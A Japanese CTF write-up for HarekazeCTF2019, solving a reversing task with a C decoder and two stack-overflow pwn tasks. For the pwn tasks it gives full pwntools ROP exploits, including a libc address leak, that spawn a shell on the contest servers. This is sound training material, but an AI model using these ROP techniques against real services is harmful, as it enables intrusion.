HarekazeCTF2019 writeup
HarekazeCTF2019のwriteupを少し。
Rev
scramble (100pt)
バイナリファイルが配られる
$file scramble scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped
gdb$pdisas main 0x0000000000000680 <+0>: push rbx 0x0000000000000681 <+1>: lea rsi,[rip+0x36c] # 0x9f4 0x0000000000000688 <+8>: mov edi,0x1 0x000000000000068d <+13>: sub rsp,0x30 0x0000000000000691 <+17>: mov rax,QWORD PTR fs:0x28 0x000000000000069a <+26>: mov QWORD PTR [rsp+0x28],rax 0x000000000000069f <+31>: xor eax,eax 0x00000000000006a1 <+33>: mov rbx,rsp 0x00000000000006a4 <+36>: call 0x650 <__printf_chk@plt> 0x00000000000006a9 <+41>: lea rdi,[rip+0x34d] # 0x9fd 0x00000000000006b0 <+48>: mov rsi,rbx 0x00000000000006b3 <+51>: xor eax,eax 0x00000000000006b5 <+53>: call 0x660 <__isoc99_scanf@plt> 0x00000000000006ba <+58>: mov rdi,rbx 0x00000000000006bd <+61>: call 0x860 <scramble> 0x00000000000006c2 <+66>: mov rdx,QWORD PTR [rsp+0x8] 0x00000000000006c7 <+71>: mov rax,QWORD PTR [rsp] 0x00000000000006cb <+75>: xor rdx,QWORD PTR [rip+0x200956] # 0x201028 <encrypted+8> 0x00000000000006d2 <+82>: xor rax,QWORD PTR [rip+0x200947] # 0x201020 <encrypted> 0x00000000000006d9 <+89>: or rdx,rax 0x00000000000006dc <+92>: jne 0x6fb <main+123> 0x00000000000006de <+94>: mov rdx,QWORD PTR [rsp+0x18] 0x00000000000006e3 <+99>: mov rax,QWORD PTR [rsp+0x10] 0x00000000000006e8 <+104>: xor rdx,QWORD PTR [rip+0x200949] # 0x201038 <encrypted+24> 0x00000000000006ef <+111>: xor rax,QWORD PTR [rip+0x20093a] # 0x201030 <encrypted+16> 0x00000000000006f6 <+118>: or rdx,rax 0x00000000000006f9 <+121>: je 0x71f <main+159> 0x00000000000006fb <+123>: lea rdi,[rip+0x309] # 0xa0b 0x0000000000000702 <+130>: call 0x630 <puts@plt> 0x0000000000000707 <+135>: xor eax,eax 0x0000000000000709 <+137>: mov rcx,QWORD PTR [rsp+0x28] 0x000000000000070e <+142>: xor rcx,QWORD PTR fs:0x28 0x0000000000000717 <+151>: jne 0x745 <main+197> 0x0000000000000719 <+153>: add rsp,0x30 0x000000000000071d <+157>: pop rbx 0x000000000000071e <+158>: ret 0x000000000000071f <+159>: mov eax,DWORD PTR [rip+0x20091b] # 0x201040 <encrypted+32> 0x0000000000000725 <+165>: cmp DWORD PTR [rbx+0x20],eax 0x0000000000000728 <+168>: jne 0x6fb <main+123> 0x000000000000072a <+170>: movzx eax,WORD PTR [rip+0x200913] # 0x201044 <encrypted+36> 0x0000000000000731 <+177>: cmp WORD PTR [rbx+0x24],ax 0x0000000000000735 <+181>: jne 0x6fb <main+123> 0x0000000000000737 <+183>: lea rdi,[rip+0x2c4] # 0xa02 0x000000000000073e <+190>: call 0x630 <puts@plt> 0x0000000000000743 <+195>: jmp 0x707 <main+135> 0x0000000000000745 <+197>: call 0x640 <__stack_chk_fail@plt>
scanf("%38s", )で38文字分の入力をscramble関数の引数に渡している。おそらくその関数がエンコードしてencryptedというシンボル名から始まるデータと何回かに分けて比較している。
方針としてはrevの100pt問題でそんなに難しくなさそうなので、angrでスクリプトを書いて見たが、まだangrがうまく使いこなせなく、解けず。仕方ないのでscramble関数を読んで見るが、レジスタも多用していて、かなり読みづらい。なのでghidraのデコンパイル機能を使って見ることに。少しghidraは触ったことがあったので良かった。
おそらくあまり参考にならない画像。てか参考にしないほうがいい。
変数の名前を自分で変えたりしたが、あまりデコンパイラ使って解析をしたことがなかったので、名前のつけ方がナンセンスすぎた。input[]などと配列っぽく名付けてしまったために、その値が動的に変化するものだと自分でも勘違いしてしまい、かなりデコードするコードを書くのに手間がかかった。
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> char encrypted[38] = {0x1f, 0x7c, 0x2c, 0x46, 0x2f, 0x44, 0x02, 0x0e, 0x6c, 0x29, 0x2a, 0x73, 0x79, 0x31, 0x04, 0x1b, 0x50, 0x6e, 0x6b, 0x6e, 0x34, 0x3d, 0x27, 0x77, 0x7a, 0x6d, 0x58, 0x12, 0x39, 0x6c, 0x2f, 0x7f, 0x23, 0x0b, 0x2c, 0x5a, 0x77, 0x3d}; int table[1064/4]; int main(){ int i; int fd = open("./scramble", O_RDONLY); if(fd < 0){ printf("open error\n"); exit(1); } lseek(fd, 0x1060, 0); for(i = 0; i < 1064/4; i++){ tmp = 0; read(fd, &table[i], 4); } char flag1, flag2; unsigned int var2, var3; for(i = 0x10a-1; i >= 0;i-- ){ var2 = 1 << (i%7); var3 = 1 << (table[i]%7); if(encrypted[table[i]/7] & var3)flag1 = 1; else flag1 = 0; if(encrypted[i/7] & var2)flag2 = 1; else flag2 = 0; if(flag1) encrypted[i/7] |= var2; else encrypted[i/7] &= ~var2; if(flag2) encrypted[table[i]/7] |= var3; else encrypted[table[i]/7] &= ~var3; } printf("%s\n", encrypted); return 0; }
FLAG:HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}
Pwn
Baby ROP(100pt)
問題文
The program is running on Ubuntu 16.04.
静的解析
$file babyrop babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped $checksec.sh --file ./babyrop RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH babyrop
省略するがgdbで見るとbofの脆弱性。問題バイナリ内にsystem関数のpltと/bin/shの文字列があったので、それを利用してropする。またrpでpop rdiのガジェットを探す。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "problem.harekaze.com" PORT = 20001 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./babyrop') bufsize = 0x10 + 8 system_plt = 0x400490 rdi_ret = 0x400683 binsh = 0x601048 payload = "A"*bufsize payload += p64(rdi_ret) payload += p64(binsh) payload += p64(system_plt) conn.recvuntil('name?') conn.sendline(payload) conn.interactive()
FLAG:HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
Baby ROP2(200pt)
問題バイナリとlibcが配布される。
静的解析
$file babyrop2 babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped $checksec.sh --file ./babyrop2 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ./babyrop2
またしてもbofの脆弱性。問題文の通り。しかし、先ほどと違ってsystem@pltはなく、/bin/shの文字列のバイナリ内にはない。
方針はprintf("%s", setvbuf@got)にreturnするように引数をセットして、libcのベースを求めつつ、その後main関数にreturnするようにする。
二回目のmain関数で求めたlibcのベースから計算したsystemのアドレスとlibc内の/bin/shのアドレスを使用してsystem("/bin/sh")を呼び出す
コードとても汚くて、一連の流れを関数にしてやったほうがいいとは思ったんだが、そんなに長くもならそうなので愚直に書いた。許してください。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "problem.harekaze.com" PORT = 20005 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./babyrop2') printf_plt = 0x4004f0 setvbuf_got = 0x601030 main_addr = 0x400636 buf_size = 0x20+8 #in libc.so.6 binsh_off = 0x18cd57 system_off = 0x45390 setvbuf_off = 0x6fe70 rdi_ret = 0x400733 rsi_r15_ret = 0x400731 ps = 0x400770 # strings including "%s" payload = "A"*buf_size payload += p64(rdi_ret) payload += p64(ps) payload += p64(rsi_r15_ret) payload += p64(setvbuf_got) payload += p64(0) payload += p64(printf_plt) payload += p64(main_addr) conn.recvuntil('name? ') conn.sendline(payload) conn.recvline() info = conn.recvline() setvbuf_libc = info.split(", ")[1].split("!")[0] setvbuf_libc = u64(setvbuf_libc + "\x00"*(8-len(setvbuf_libc))) libc_base = setvbuf_libc - setvbuf_off system_libc = libc_base + system_off binsh_libc = libc_base + binsh_off conn.recvuntil('name? ') payload = "A"*buf_size payload += p64(rdi_ret) payload += p64(binsh_libc) payload += p64(system_libc) conn.sendline(payload) conn.interactive()
FLAG:HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
ん、use bss segmentか。他の回答としてはread関数にreturnしてbss領域の固定番地に/bin/shを書き込んでそれを使うってのもありそう。まああんまり変わらないけど。
まとめ
開催期間時間があまり割けず、これ以外の問題も少し見たんだが、時間がこれよりかかりそうだと思いじっくりと考えることができなかった。時間がたっぷりあればあまり解かれていないpwnの問題とかも挑戦して見たかった(解けるとは言っていない)。
Harekazeさん開催ありがとうございました。とても楽しかった。